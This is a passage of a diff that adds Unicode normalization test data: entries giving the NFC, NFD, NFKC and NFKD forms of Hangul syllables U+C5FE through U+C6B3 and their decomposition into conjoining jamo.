+{ source: [0xC5FE], NFC: [0xC5FE], NFD: [0x110B, 0x1167, 0x11B9], NFKC: [0xC5FE], NFKD: [0x110B, 0x1167, 0x11B9] },
+{ source: [0xC5FF], NFC: [0xC5FF], NFD: [0x110B, 0x1167, 0x11BA], NFKC: [0xC5FF], NFKD: [0x110B, 0x1167, 0x11BA] },
+{ source: [0xC600], NFC: [0xC600], NFD: [0x110B, 0x1167, 0x11BB], NFKC: [0xC600], NFKD: [0x110B, 0x1167, 0x11BB] },
+{ source: [0xC601], NFC: [0xC601], NFD: [0x110B, 0x1167, 0x11BC], NFKC: [0xC601], NFKD: [0x110B, 0x1167, 0x11BC] },
+{ source: [0xC602], NFC: [0xC602], NFD: [0x110B, 0x1167, 0x11BD], NFKC: [0xC602], NFKD: [0x110B, 0x1167, 0x11BD] },
+{ source: [0xC603], NFC: [0xC603], NFD: [0x110B, 0x1167, 0x11BE], NFKC: [0xC603], NFKD: [0x110B, 0x1167, 0x11BE] },
+{ source: [0xC604], NFC: [0xC604], NFD: [0x110B, 0x1167, 0x11BF], NFKC: [0xC604], NFKD: [0x110B, 0x1167, 0x11BF] },
+{ source: [0xC605], NFC: [0xC605], NFD: [0x110B, 0x1167, 0x11C0], NFKC: [0xC605], NFKD: [0x110B, 0x1167, 0x11C0] },
+{ source: [0xC606], NFC: [0xC606], NFD: [0x110B, 0x1167, 0x11C1], NFKC: [0xC606], NFKD: [0x110B, 0x1167, 0x11C1] },
+{ source: [0xC607], NFC: [0xC607], NFD: [0x110B, 0x1167, 0x11C2], NFKC: [0xC607], NFKD: [0x110B, 0x1167, 0x11C2] },
+{ source: [0xC608], NFC: [0xC608], NFD: [0x110B, 0x1168], NFKC: [0xC608], NFKD: [0x110B, 0x1168] },
+{ source: [0xC609], NFC: [0xC609], NFD: [0x110B, 0x1168, 0x11A8], NFKC: [0xC609], NFKD: [0x110B, 0x1168, 0x11A8] },
+{ source: [0xC60A], NFC: [0xC60A], NFD: [0x110B, 0x1168, 0x11A9], NFKC: [0xC60A], NFKD: [0x110B, 0x1168, 0x11A9] },
+{ source: [0xC60B], NFC: [0xC60B], NFD: [0x110B, 0x1168, 0x11AA], NFKC: [0xC60B], NFKD: [0x110B, 0x1168, 0x11AA] },
+{ source: [0xC60C], NFC: [0xC60C], NFD: [0x110B, 0x1168, 0x11AB], NFKC: [0xC60C], NFKD: [0x110B, 0x1168, 0x11AB] },
+{ source: [0xC60D], NFC: [0xC60D], NFD: [0x110B, 0x1168, 0x11AC], NFKC: [0xC60D], NFKD: [0x110B, 0x1168, 0x11AC] },
+{ source: [0xC60E], NFC: [0xC60E], NFD: [0x110B, 0x1168, 0x11AD], NFKC: [0xC60E], NFKD: [0x110B, 0x1168, 0x11AD] },
+{ source: [0xC60F], NFC: [0xC60F], NFD: [0x110B, 0x1168, 0x11AE], NFKC: [0xC60F], NFKD: [0x110B, 0x1168, 0x11AE] },
+{ source: [0xC610], NFC: [0xC610], NFD: [0x110B, 0x1168, 0x11AF], NFKC: [0xC610], NFKD: [0x110B, 0x1168, 0x11AF] },
+{ source: [0xC611], NFC: [0xC611], NFD: [0x110B, 0x1168, 0x11B0], NFKC: [0xC611], NFKD: [0x110B, 0x1168, 0x11B0] },
+{ source: [0xC612], NFC: [0xC612], NFD: [0x110B, 0x1168, 0x11B1], NFKC: [0xC612], NFKD: [0x110B, 0x1168, 0x11B1] },
+{ source: [0xC613], NFC: [0xC613], NFD: [0x110B, 0x1168, 0x11B2], NFKC: [0xC613], NFKD: [0x110B, 0x1168, 0x11B2] },
+{ source: [0xC614], NFC: [0xC614], NFD: [0x110B, 0x1168, 0x11B3], NFKC: [0xC614], NFKD: [0x110B, 0x1168, 0x11B3] },
+{ source: [0xC615], NFC: [0xC615], NFD: [0x110B, 0x1168, 0x11B4], NFKC: [0xC615], NFKD: [0x110B, 0x1168, 0x11B4] },
+{ source: [0xC616], NFC: [0xC616], NFD: [0x110B, 0x1168, 0x11B5], NFKC: [0xC616], NFKD: [0x110B, 0x1168, 0x11B5] },
+{ source: [0xC617], NFC: [0xC617], NFD: [0x110B, 0x1168, 0x11B6], NFKC: [0xC617], NFKD: [0x110B, 0x1168, 0x11B6] },
+{ source: [0xC618], NFC: [0xC618], NFD: [0x110B, 0x1168, 0x11B7], NFKC: [0xC618], NFKD: [0x110B, 0x1168, 0x11B7] },
+{ source: [0xC619], NFC: [0xC619], NFD: [0x110B, 0x1168, 0x11B8], NFKC: [0xC619], NFKD: [0x110B, 0x1168, 0x11B8] },
+{ source: [0xC61A], NFC: [0xC61A], NFD: [0x110B, 0x1168, 0x11B9], NFKC: [0xC61A], NFKD: [0x110B, 0x1168, 0x11B9] },
+{ source: [0xC61B], NFC: [0xC61B], NFD: [0x110B, 0x1168, 0x11BA], NFKC: [0xC61B], NFKD: [0x110B, 0x1168, 0x11BA] },
+{ source: [0xC61C], NFC: [0xC61C], NFD: [0x110B, 0x1168, 0x11BB], NFKC: [0xC61C], NFKD: [0x110B, 0x1168, 0x11BB] },
+{ source: [0xC61D], NFC: [0xC61D], NFD: [0x110B, 0x1168, 0x11BC], NFKC: [0xC61D], NFKD: [0x110B, 0x1168, 0x11BC] },
+{ source: [0xC61E], NFC: [0xC61E], NFD: [0x110B, 0x1168, 0x11BD], NFKC: [0xC61E], NFKD: [0x110B, 0x1168, 0x11BD] },
+{ source: [0xC61F], NFC: [0xC61F], NFD: [0x110B, 0x1168, 0x11BE], NFKC: [0xC61F], NFKD: [0x110B, 0x1168, 0x11BE] },
+{ source: [0xC620], NFC: [0xC620], NFD: [0x110B, 0x1168, 0x11BF], NFKC: [0xC620], NFKD: [0x110B, 0x1168, 0x11BF] },
+{ source: [0xC621], NFC: [0xC621], NFD: [0x110B, 0x1168, 0x11C0], NFKC: [0xC621], NFKD: [0x110B, 0x1168, 0x11C0] },
+{ source: [0xC622], NFC: [0xC622], NFD: [0x110B, 0x1168, 0x11C1], NFKC: [0xC622], NFKD: [0x110B, 0x1168, 0x11C1] },
+{ source: [0xC623], NFC: [0xC623], NFD: [0x110B, 0x1168, 0x11C2], NFKC: [0xC623], NFKD: [0x110B, 0x1168, 0x11C2] },
+{ source: [0xC624], NFC: [0xC624], NFD: [0x110B, 0x1169], NFKC: [0xC624], NFKD: [0x110B, 0x1169] },
+{ source: [0xC625], NFC: [0xC625], NFD: [0x110B, 0x1169, 0x11A8], NFKC: [0xC625], NFKD: [0x110B, 0x1169, 0x11A8] },
+{ source: [0xC626], NFC: [0xC626], NFD: [0x110B, 0x1169, 0x11A9], NFKC: [0xC626], NFKD: [0x110B, 0x1169, 0x11A9] },
+{ source: [0xC627], NFC: [0xC627], NFD: [0x110B, 0x1169, 0x11AA], NFKC: [0xC627], NFKD: [0x110B, 0x1169, 0x11AA] },
+{ source: [0xC628], NFC: [0xC628], NFD: [0x110B, 0x1169, 0x11AB], NFKC: [0xC628], NFKD: [0x110B, 0x1169, 0x11AB] },
+{ source: [0xC629], NFC: [0xC629], NFD: [0x110B, 0x1169, 0x11AC], NFKC: [0xC629], NFKD: [0x110B, 0x1169, 0x11AC] },
+{ source: [0xC62A], NFC: [0xC62A], NFD: [0x110B, 0x1169, 0x11AD], NFKC: [0xC62A], NFKD: [0x110B, 0x1169, 0x11AD] },
+{ source: [0xC62B], NFC: [0xC62B], NFD: [0x110B, 0x1169, 0x11AE], NFKC: [0xC62B], NFKD: [0x110B, 0x1169, 0x11AE] },
+{ source: [0xC62C], NFC: [0xC62C], NFD: [0x110B, 0x1169, 0x11AF], NFKC: [0xC62C], NFKD: [0x110B, 0x1169, 0x11AF] },
+{ source: [0xC62D], NFC: [0xC62D], NFD: [0x110B, 0x1169, 0x11B0], NFKC: [0xC62D], NFKD: [0x110B, 0x1169, 0x11B0] },
+{ source: [0xC62E], NFC: [0xC62E], NFD: [0x110B, 0x1169, 0x11B1], NFKC: [0xC62E], NFKD: [0x110B, 0x1169, 0x11B1] },
+{ source: [0xC62F], NFC: [0xC62F], NFD: [0x110B, 0x1169, 0x11B2], NFKC: [0xC62F], NFKD: [0x110B, 0x1169, 0x11B2] },
+{ source: [0xC630], NFC: [0xC630], NFD: [0x110B, 0x1169, 0x11B3], NFKC: [0xC630], NFKD: [0x110B, 0x1169, 0x11B3] },
+{ source: [0xC631], NFC: [0xC631], NFD: [0x110B, 0x1169, 0x11B4], NFKC: [0xC631], NFKD: [0x110B, 0x1169, 0x11B4] },
+{ source: [0xC632], NFC: [0xC632], NFD: [0x110B, 0x1169, 0x11B5], NFKC: [0xC632], NFKD: [0x110B, 0x1169, 0x11B5] },
+{ source: [0xC633], NFC: [0xC633], NFD: [0x110B, 0x1169, 0x11B6], NFKC: [0xC633], NFKD: [0x110B, 0x1169, 0x11B6] },
+{ source: [0xC634], NFC: [0xC634], NFD: [0x110B, 0x1169, 0x11B7], NFKC: [0xC634], NFKD: [0x110B, 0x1169, 0x11B7] },
+{ source: [0xC635], NFC: [0xC635], NFD: [0x110B, 0x1169, 0x11B8], NFKC: [0xC635], NFKD: [0x110B, 0x1169, 0x11B8] },
+{ source: [0xC636], NFC: [0xC636], NFD: [0x110B, 0x1169, 0x11B9], NFKC: [0xC636], NFKD: [0x110B, 0x1169, 0x11B9] },
+{ source: [0xC637], NFC: [0xC637], NFD: [0x110B, 0x1169, 0x11BA], NFKC: [0xC637], NFKD: [0x110B, 0x1169, 0x11BA] },
+{ source: [0xC638], NFC: [0xC638], NFD: [0x110B, 0x1169, 0x11BB], NFKC: [0xC638], NFKD: [0x110B, 0x1169, 0x11BB] },
+{ source: [0xC639], NFC: [0xC639], NFD: [0x110B, 0x1169, 0x11BC], NFKC: [0xC639], NFKD: [0x110B, 0x1169, 0x11BC] },
+{ source: [0xC63A], NFC: [0xC63A], NFD: [0x110B, 0x1169, 0x11BD], NFKC: [0xC63A], NFKD: [0x110B, 0x1169, 0x11BD] },
+{ source: [0xC63B], NFC: [0xC63B], NFD: [0x110B, 0x1169, 0x11BE], NFKC: [0xC63B], NFKD: [0x110B, 0x1169, 0x11BE] },
+{ source: [0xC63C], NFC: [0xC63C], NFD: [0x110B, 0x1169, 0x11BF], NFKC: [0xC63C], NFKD: [0x110B, 0x1169, 0x11BF] },
+{ source: [0xC63D], NFC: [0xC63D], NFD: [0x110B, 0x1169, 0x11C0], NFKC: [0xC63D], NFKD: [0x110B, 0x1169, 0x11C0] },
+{ source: [0xC63E], NFC: [0xC63E], NFD: [0x110B, 0x1169, 0x11C1], NFKC: [0xC63E], NFKD: [0x110B, 0x1169, 0x11C1] },
+{ source: [0xC63F], NFC: [0xC63F], NFD: [0x110B, 0x1169, 0x11C2], NFKC: [0xC63F], NFKD: [0x110B, 0x1169, 0x11C2] },
+{ source: [0xC640], NFC: [0xC640], NFD: [0x110B, 0x116A], NFKC: [0xC640], NFKD: [0x110B, 0x116A] },
+{ source: [0xC641], NFC: [0xC641], NFD: [0x110B, 0x116A, 0x11A8], NFKC: [0xC641], NFKD: [0x110B, 0x116A, 0x11A8] },
+{ source: [0xC642], NFC: [0xC642], NFD: [0x110B, 0x116A, 0x11A9], NFKC: [0xC642], NFKD: [0x110B, 0x116A, 0x11A9] },
+{ source: [0xC643], NFC: [0xC643], NFD: [0x110B, 0x116A, 0x11AA], NFKC: [0xC643], NFKD: [0x110B, 0x116A, 0x11AA] },
+{ source: [0xC644], NFC: [0xC644], NFD: [0x110B, 0x116A, 0x11AB], NFKC: [0xC644], NFKD: [0x110B, 0x116A, 0x11AB] },
+{ source: [0xC645], NFC: [0xC645], NFD: [0x110B, 0x116A, 0x11AC], NFKC: [0xC645], NFKD: [0x110B, 0x116A, 0x11AC] },
+{ source: [0xC646], NFC: [0xC646], NFD: [0x110B, 0x116A, 0x11AD], NFKC: [0xC646], NFKD: [0x110B, 0x116A, 0x11AD] },
+{ source: [0xC647], NFC: [0xC647], NFD: [0x110B, 0x116A, 0x11AE], NFKC: [0xC647], NFKD: [0x110B, 0x116A, 0x11AE] },
+{ source: [0xC648], NFC: [0xC648], NFD: [0x110B, 0x116A, 0x11AF], NFKC: [0xC648], NFKD: [0x110B, 0x116A, 0x11AF] },
+{ source: [0xC649], NFC: [0xC649], NFD: [0x110B, 0x116A, 0x11B0], NFKC: [0xC649], NFKD: [0x110B, 0x116A, 0x11B0] },
+{ source: [0xC64A], NFC: [0xC64A], NFD: [0x110B, 0x116A, 0x11B1], NFKC: [0xC64A], NFKD: [0x110B, 0x116A, 0x11B1] },
+{ source: [0xC64B], NFC: [0xC64B], NFD: [0x110B, 0x116A, 0x11B2], NFKC: [0xC64B], NFKD: [0x110B, 0x116A, 0x11B2] },
+{ source: [0xC64C], NFC: [0xC64C], NFD: [0x110B, 0x116A, 0x11B3], NFKC: [0xC64C], NFKD: [0x110B, 0x116A, 0x11B3] },
+{ source: [0xC64D], NFC: [0xC64D], NFD: [0x110B, 0x116A, 0x11B4], NFKC: [0xC64D], NFKD: [0x110B, 0x116A, 0x11B4] },
+{ source: [0xC64E], NFC: [0xC64E], NFD: [0x110B, 0x116A, 0x11B5], NFKC: [0xC64E], NFKD: [0x110B, 0x116A, 0x11B5] },
+{ source: [0xC64F], NFC: [0xC64F], NFD: [0x110B, 0x116A, 0x11B6], NFKC: [0xC64F], NFKD: [0x110B, 0x116A, 0x11B6] },
+{ source: [0xC650], NFC: [0xC650], NFD: [0x110B, 0x116A, 0x11B7], NFKC: [0xC650], NFKD: [0x110B, 0x116A, 0x11B7] },
+{ source: [0xC651], NFC: [0xC651], NFD: [0x110B, 0x116A, 0x11B8], NFKC: [0xC651], NFKD: [0x110B, 0x116A, 0x11B8] },
+{ source: [0xC652], NFC: [0xC652], NFD: [0x110B, 0x116A, 0x11B9], NFKC: [0xC652], NFKD: [0x110B, 0x116A, 0x11B9] },
+{ source: [0xC653], NFC: [0xC653], NFD: [0x110B, 0x116A, 0x11BA], NFKC: [0xC653], NFKD: [0x110B, 0x116A, 0x11BA] },
+{ source: [0xC654], NFC: [0xC654], NFD: [0x110B, 0x116A, 0x11BB], NFKC: [0xC654], NFKD: [0x110B, 0x116A, 0x11BB] },
+{ source: [0xC655], NFC: [0xC655], NFD: [0x110B, 0x116A, 0x11BC], NFKC: [0xC655], NFKD: [0x110B, 0x116A, 0x11BC] },
+{ source: [0xC656], NFC: [0xC656], NFD: [0x110B, 0x116A, 0x11BD], NFKC: [0xC656], NFKD: [0x110B, 0x116A, 0x11BD] },
+{ source: [0xC657], NFC: [0xC657], NFD: [0x110B, 0x116A, 0x11BE], NFKC: [0xC657], NFKD: [0x110B, 0x116A, 0x11BE] },
+{ source: [0xC658], NFC: [0xC658], NFD: [0x110B, 0x116A, 0x11BF], NFKC: [0xC658], NFKD: [0x110B, 0x116A, 0x11BF] },
+{ source: [0xC659], NFC: [0xC659], NFD: [0x110B, 0x116A, 0x11C0], NFKC: [0xC659], NFKD: [0x110B, 0x116A, 0x11C0] },
+{ source: [0xC65A], NFC: [0xC65A], NFD: [0x110B, 0x116A, 0x11C1], NFKC: [0xC65A], NFKD: [0x110B, 0x116A, 0x11C1] },
+{ source: [0xC65B], NFC: [0xC65B], NFD: [0x110B, 0x116A, 0x11C2], NFKC: [0xC65B], NFKD: [0x110B, 0x116A, 0x11C2] },
+{ source: [0xC65C], NFC: [0xC65C], NFD: [0x110B, 0x116B], NFKC: [0xC65C], NFKD: [0x110B, 0x116B] },
+{ source: [0xC65D], NFC: [0xC65D], NFD: [0x110B, 0x116B, 0x11A8], NFKC: [0xC65D], NFKD: [0x110B, 0x116B, 0x11A8] },
+{ source: [0xC65E], NFC: [0xC65E], NFD: [0x110B, 0x116B, 0x11A9], NFKC: [0xC65E], NFKD: [0x110B, 0x116B, 0x11A9] },
+{ source: [0xC65F], NFC: [0xC65F], NFD: [0x110B, 0x116B, 0x11AA], NFKC: [0xC65F], NFKD: [0x110B, 0x116B, 0x11AA] },
+{ source: [0xC660], NFC: [0xC660], NFD: [0x110B, 0x116B, 0x11AB], NFKC: [0xC660], NFKD: [0x110B, 0x116B, 0x11AB] },
+{ source: [0xC661], NFC: [0xC661], NFD: [0x110B, 0x116B, 0x11AC], NFKC: [0xC661], NFKD: [0x110B, 0x116B, 0x11AC] },
+{ source: [0xC662], NFC: [0xC662], NFD: [0x110B, 0x116B, 0x11AD], NFKC: [0xC662], NFKD: [0x110B, 0x116B, 0x11AD] },
+{ source: [0xC663], NFC: [0xC663], NFD: [0x110B, 0x116B, 0x11AE], NFKC: [0xC663], NFKD: [0x110B, 0x116B, 0x11AE] },
+{ source: [0xC664], NFC: [0xC664], NFD: [0x110B, 0x116B, 0x11AF], NFKC: [0xC664], NFKD: [0x110B, 0x116B, 0x11AF] },
+{ source: [0xC665], NFC: [0xC665], NFD: [0x110B, 0x116B, 0x11B0], NFKC: [0xC665], NFKD: [0x110B, 0x116B, 0x11B0] },
+{ source: [0xC666], NFC: [0xC666], NFD: [0x110B, 0x116B, 0x11B1], NFKC: [0xC666], NFKD: [0x110B, 0x116B, 0x11B1] },
+{ source: [0xC667], NFC: [0xC667], NFD: [0x110B, 0x116B, 0x11B2], NFKC: [0xC667], NFKD: [0x110B, 0x116B, 0x11B2] },
+{ source: [0xC668], NFC: [0xC668], NFD: [0x110B, 0x116B, 0x11B3], NFKC: [0xC668], NFKD: [0x110B, 0x116B, 0x11B3] },
+{ source: [0xC669], NFC: [0xC669], NFD: [0x110B, 0x116B, 0x11B4], NFKC: [0xC669], NFKD: [0x110B, 0x116B, 0x11B4] },
+{ source: [0xC66A], NFC: [0xC66A], NFD: [0x110B, 0x116B, 0x11B5], NFKC: [0xC66A], NFKD: [0x110B, 0x116B, 0x11B5] },
+{ source: [0xC66B], NFC: [0xC66B], NFD: [0x110B, 0x116B, 0x11B6], NFKC: [0xC66B], NFKD: [0x110B, 0x116B, 0x11B6] },
+{ source: [0xC66C], NFC: [0xC66C], NFD: [0x110B, 0x116B, 0x11B7], NFKC: [0xC66C], NFKD: [0x110B, 0x116B, 0x11B7] },
+{ source: [0xC66D], NFC: [0xC66D], NFD: [0x110B, 0x116B, 0x11B8], NFKC: [0xC66D], NFKD: [0x110B, 0x116B, 0x11B8] },
+{ source: [0xC66E], NFC: [0xC66E], NFD: [0x110B, 0x116B, 0x11B9], NFKC: [0xC66E], NFKD: [0x110B, 0x116B, 0x11B9] },
+{ source: [0xC66F], NFC: [0xC66F], NFD: [0x110B, 0x116B, 0x11BA], NFKC: [0xC66F], NFKD: [0x110B, 0x116B, 0x11BA] },
+{ source: [0xC670], NFC: [0xC670], NFD: [0x110B, 0x116B, 0x11BB], NFKC: [0xC670], NFKD: [0x110B, 0x116B, 0x11BB] },
+{ source: [0xC671], NFC: [0xC671], NFD: [0x110B, 0x116B, 0x11BC], NFKC: [0xC671], NFKD: [0x110B, 0x116B, 0x11BC] },
+{ source: [0xC672], NFC: [0xC672], NFD: [0x110B, 0x116B, 0x11BD], NFKC: [0xC672], NFKD: [0x110B, 0x116B, 0x11BD] },
+{ source: [0xC673], NFC: [0xC673], NFD: [0x110B, 0x116B, 0x11BE], NFKC: [0xC673], NFKD: [0x110B, 0x116B, 0x11BE] },
+{ source: [0xC674], NFC: [0xC674], NFD: [0x110B, 0x116B, 0x11BF], NFKC: [0xC674], NFKD: [0x110B, 0x116B, 0x11BF] },
+{ source: [0xC675], NFC: [0xC675], NFD: [0x110B, 0x116B, 0x11C0], NFKC: [0xC675], NFKD: [0x110B, 0x116B, 0x11C0] },
+{ source: [0xC676], NFC: [0xC676], NFD: [0x110B, 0x116B, 0x11C1], NFKC: [0xC676], NFKD: [0x110B, 0x116B, 0x11C1] },
+{ source: [0xC677], NFC: [0xC677], NFD: [0x110B, 0x116B, 0x11C2], NFKC: [0xC677], NFKD: [0x110B, 0x116B, 0x11C2] },
+{ source: [0xC678], NFC: [0xC678], NFD: [0x110B, 0x116C], NFKC: [0xC678], NFKD: [0x110B, 0x116C] },
+{ source: [0xC679], NFC: [0xC679], NFD: [0x110B, 0x116C, 0x11A8], NFKC: [0xC679], NFKD: [0x110B, 0x116C, 0x11A8] },
+{ source: [0xC67A], NFC: [0xC67A], NFD: [0x110B, 0x116C, 0x11A9], NFKC: [0xC67A], NFKD: [0x110B, 0x116C, 0x11A9] },
+{ source: [0xC67B], NFC: [0xC67B], NFD: [0x110B, 0x116C, 0x11AA], NFKC: [0xC67B], NFKD: [0x110B, 0x116C, 0x11AA] },
+{ source: [0xC67C], NFC: [0xC67C], NFD: [0x110B, 0x116C, 0x11AB], NFKC: [0xC67C], NFKD: [0x110B, 0x116C, 0x11AB] },
+{ source: [0xC67D], NFC: [0xC67D], NFD: [0x110B, 0x116C, 0x11AC], NFKC: [0xC67D], NFKD: [0x110B, 0x116C, 0x11AC] },
+{ source: [0xC67E], NFC: [0xC67E], NFD: [0x110B, 0x116C, 0x11AD], NFKC: [0xC67E], NFKD: [0x110B, 0x116C, 0x11AD] },
+{ source: [0xC67F], NFC: [0xC67F], NFD: [0x110B, 0x116C, 0x11AE], NFKC: [0xC67F], NFKD: [0x110B, 0x116C, 0x11AE] },
+{ source: [0xC680], NFC: [0xC680], NFD: [0x110B, 0x116C, 0x11AF], NFKC: [0xC680], NFKD: [0x110B, 0x116C, 0x11AF] },
+{ source: [0xC681], NFC: [0xC681], NFD: [0x110B, 0x116C, 0x11B0], NFKC: [0xC681], NFKD: [0x110B, 0x116C, 0x11B0] },
+{ source: [0xC682], NFC: [0xC682], NFD: [0x110B, 0x116C, 0x11B1], NFKC: [0xC682], NFKD: [0x110B, 0x116C, 0x11B1] },
+{ source: [0xC683], NFC: [0xC683], NFD: [0x110B, 0x116C, 0x11B2], NFKC: [0xC683], NFKD: [0x110B, 0x116C, 0x11B2] },
+{ source: [0xC684], NFC: [0xC684], NFD: [0x110B, 0x116C, 0x11B3], NFKC: [0xC684], NFKD: [0x110B, 0x116C, 0x11B3] },
+{ source: [0xC685], NFC: [0xC685], NFD: [0x110B, 0x116C, 0x11B4], NFKC: [0xC685], NFKD: [0x110B, 0x116C, 0x11B4] },
+{ source: [0xC686], NFC: [0xC686], NFD: [0x110B, 0x116C, 0x11B5], NFKC: [0xC686], NFKD: [0x110B, 0x116C, 0x11B5] },
+{ source: [0xC687], NFC: [0xC687], NFD: [0x110B, 0x116C, 0x11B6], NFKC: [0xC687], NFKD: [0x110B, 0x116C, 0x11B6] },
+{ source: [0xC688], NFC: [0xC688], NFD: [0x110B, 0x116C, 0x11B7], NFKC: [0xC688], NFKD: [0x110B, 0x116C, 0x11B7] },
+{ source: [0xC689], NFC: [0xC689], NFD: [0x110B, 0x116C, 0x11B8], NFKC: [0xC689], NFKD: [0x110B, 0x116C, 0x11B8] },
+{ source: [0xC68A], NFC: [0xC68A], NFD: [0x110B, 0x116C, 0x11B9], NFKC: [0xC68A], NFKD: [0x110B, 0x116C, 0x11B9] },
+{ source: [0xC68B], NFC: [0xC68B], NFD: [0x110B, 0x116C, 0x11BA], NFKC: [0xC68B], NFKD: [0x110B, 0x116C, 0x11BA] },
+{ source: [0xC68C], NFC: [0xC68C], NFD: [0x110B, 0x116C, 0x11BB], NFKC: [0xC68C], NFKD: [0x110B, 0x116C, 0x11BB] },
+{ source: [0xC68D], NFC: [0xC68D], NFD: [0x110B, 0x116C, 0x11BC], NFKC: [0xC68D], NFKD: [0x110B, 0x116C, 0x11BC] },
+{ source: [0xC68E], NFC: [0xC68E], NFD: [0x110B, 0x116C, 0x11BD], NFKC: [0xC68E], NFKD: [0x110B, 0x116C, 0x11BD] },
+{ source: [0xC68F], NFC: [0xC68F], NFD: [0x110B, 0x116C, 0x11BE], NFKC: [0xC68F], NFKD: [0x110B, 0x116C, 0x11BE] },
+{ source: [0xC690], NFC: [0xC690], NFD: [0x110B, 0x116C, 0x11BF], NFKC: [0xC690], NFKD: [0x110B, 0x116C, 0x11BF] },
+{ source: [0xC691], NFC: [0xC691], NFD: [0x110B, 0x116C, 0x11C0], NFKC: [0xC691], NFKD: [0x110B, 0x116C, 0x11C0] },
+{ source: [0xC692], NFC: [0xC692], NFD: [0x110B, 0x116C, 0x11C1], NFKC: [0xC692], NFKD: [0x110B, 0x116C, 0x11C1] },
+{ source: [0xC693], NFC: [0xC693], NFD: [0x110B, 0x116C, 0x11C2], NFKC: [0xC693], NFKD: [0x110B, 0x116C, 0x11C2] },
+{ source: [0xC694], NFC: [0xC694], NFD: [0x110B, 0x116D], NFKC: [0xC694], NFKD: [0x110B, 0x116D] },
+{ source: [0xC695], NFC: [0xC695], NFD: [0x110B, 0x116D, 0x11A8], NFKC: [0xC695], NFKD: [0x110B, 0x116D, 0x11A8] },
+{ source: [0xC696], NFC: [0xC696], NFD: [0x110B, 0x116D, 0x11A9], NFKC: [0xC696], NFKD: [0x110B, 0x116D, 0x11A9] },
+{ source: [0xC697], NFC: [0xC697], NFD: [0x110B, 0x116D, 0x11AA], NFKC: [0xC697], NFKD: [0x110B, 0x116D, 0x11AA] },
+{ source: [0xC698], NFC: [0xC698], NFD: [0x110B, 0x116D, 0x11AB], NFKC: [0xC698], NFKD: [0x110B, 0x116D, 0x11AB] },
+{ source: [0xC699], NFC: [0xC699], NFD: [0x110B, 0x116D, 0x11AC], NFKC: [0xC699], NFKD: [0x110B, 0x116D, 0x11AC] },
+{ source: [0xC69A], NFC: [0xC69A], NFD: [0x110B, 0x116D, 0x11AD], NFKC: [0xC69A], NFKD: [0x110B, 0x116D, 0x11AD] },
+{ source: [0xC69B], NFC: [0xC69B], NFD: [0x110B, 0x116D, 0x11AE], NFKC: [0xC69B], NFKD: [0x110B, 0x116D, 0x11AE] },
+{ source: [0xC69C], NFC: [0xC69C], NFD: [0x110B, 0x116D, 0x11AF], NFKC: [0xC69C], NFKD: [0x110B, 0x116D, 0x11AF] },
+{ source: [0xC69D], NFC: [0xC69D], NFD: [0x110B, 0x116D, 0x11B0], NFKC: [0xC69D], NFKD: [0x110B, 0x116D, 0x11B0] },
+{ source: [0xC69E], NFC: [0xC69E], NFD: [0x110B, 0x116D, 0x11B1], NFKC: [0xC69E], NFKD: [0x110B, 0x116D, 0x11B1] },
+{ source: [0xC69F], NFC: [0xC69F], NFD: [0x110B, 0x116D, 0x11B2], NFKC: [0xC69F], NFKD: [0x110B, 0x116D, 0x11B2] },
+{ source: [0xC6A0], NFC: [0xC6A0], NFD: [0x110B, 0x116D, 0x11B3], NFKC: [0xC6A0], NFKD: [0x110B, 0x116D, 0x11B3] },
+{ source: [0xC6A1], NFC: [0xC6A1], NFD: [0x110B, 0x116D, 0x11B4], NFKC: [0xC6A1], NFKD: [0x110B, 0x116D, 0x11B4] },
+{ source: [0xC6A2], NFC: [0xC6A2], NFD: [0x110B, 0x116D, 0x11B5], NFKC: [0xC6A2], NFKD: [0x110B, 0x116D, 0x11B5] },
+{ source: [0xC6A3], NFC: [0xC6A3], NFD: [0x110B, 0x116D, 0x11B6], NFKC: [0xC6A3], NFKD: [0x110B, 0x116D, 0x11B6] },
+{ source: [0xC6A4], NFC: [0xC6A4], NFD: [0x110B, 0x116D, 0x11B7], NFKC: [0xC6A4], NFKD: [0x110B, 0x116D, 0x11B7] },
+{ source: [0xC6A5], NFC: [0xC6A5], NFD: [0x110B, 0x116D, 0x11B8], NFKC: [0xC6A5], NFKD: [0x110B, 0x116D, 0x11B8] },
+{ source: [0xC6A6], NFC: [0xC6A6], NFD: [0x110B, 0x116D, 0x11B9], NFKC: [0xC6A6], NFKD: [0x110B, 0x116D, 0x11B9] },
+{ source: [0xC6A7], NFC: [0xC6A7], NFD: [0x110B, 0x116D, 0x11BA], NFKC: [0xC6A7], NFKD: [0x110B, 0x116D, 0x11BA] },
+{ source: [0xC6A8], NFC: [0xC6A8], NFD: [0x110B, 0x116D, 0x11BB], NFKC: [0xC6A8], NFKD: [0x110B, 0x116D, 0x11BB] },
+{ source: [0xC6A9], NFC: [0xC6A9], NFD: [0x110B, 0x116D, 0x11BC], NFKC: [0xC6A9], NFKD: [0x110B, 0x116D, 0x11BC] },
+{ source: [0xC6AA], NFC: [0xC6AA], NFD: [0x110B, 0x116D, 0x11BD], NFKC: [0xC6AA], NFKD: [0x110B, 0x116D, 0x11BD] },
+{ source: [0xC6AB], NFC: [0xC6AB], NFD: [0x110B, 0x116D, 0x11BE], NFKC: [0xC6AB], NFKD: [0x110B, 0x116D, 0x11BE] },
+{ source: [0xC6AC], NFC: [0xC6AC], NFD: [0x110B, 0x116D, 0x11BF], NFKC: [0xC6AC], NFKD: [0x110B, 0x116D, 0x11BF] },
+{ source: [0xC6AD], NFC: [0xC6AD], NFD: [0x110B, 0x116D, 0x11C0], NFKC: [0xC6AD], NFKD: [0x110B, 0x116D, 0x11C0] },
+{ source: [0xC6AE], NFC: [0xC6AE], NFD: [0x110B, 0x116D, 0x11C1], NFKC: [0xC6AE], NFKD: [0x110B, 0x116D, 0x11C1] },
+{ source: [0xC6AF], NFC: [0xC6AF], NFD: [0x110B, 0x116D, 0x11C2], NFKC: [0xC6AF], NFKD: [0x110B, 0x116D, 0x11C2] },
+{ source: [0xC6B0], NFC: [0xC6B0], NFD: [0x110B, 0x116E], NFKC: [0xC6B0], NFKD: [0x110B, 0x116E] },
+{ source: [0xC6B1], NFC: [0xC6B1], NFD: [0x110B, 0x116E, 0x11A8], NFKC: [0xC6B1], NFKD: [0x110B, 0x116E, 0x11A8] },
+{ source: [0xC6B2], NFC: [0xC6B2], NFD: [0x110B, 0x116E, 0x11A9], NFKC: [0xC6B2], NFKD: [0x110B, 0x116E, 0x11A9] },
+{ source: [0xC6B3], NFC: [0xC6B3], NFD: [0x110B, 0x116E, 0x11AA], NFKC: [0xC6B3], NFKD: [0x110B, 0x116E, 0x11AA] },
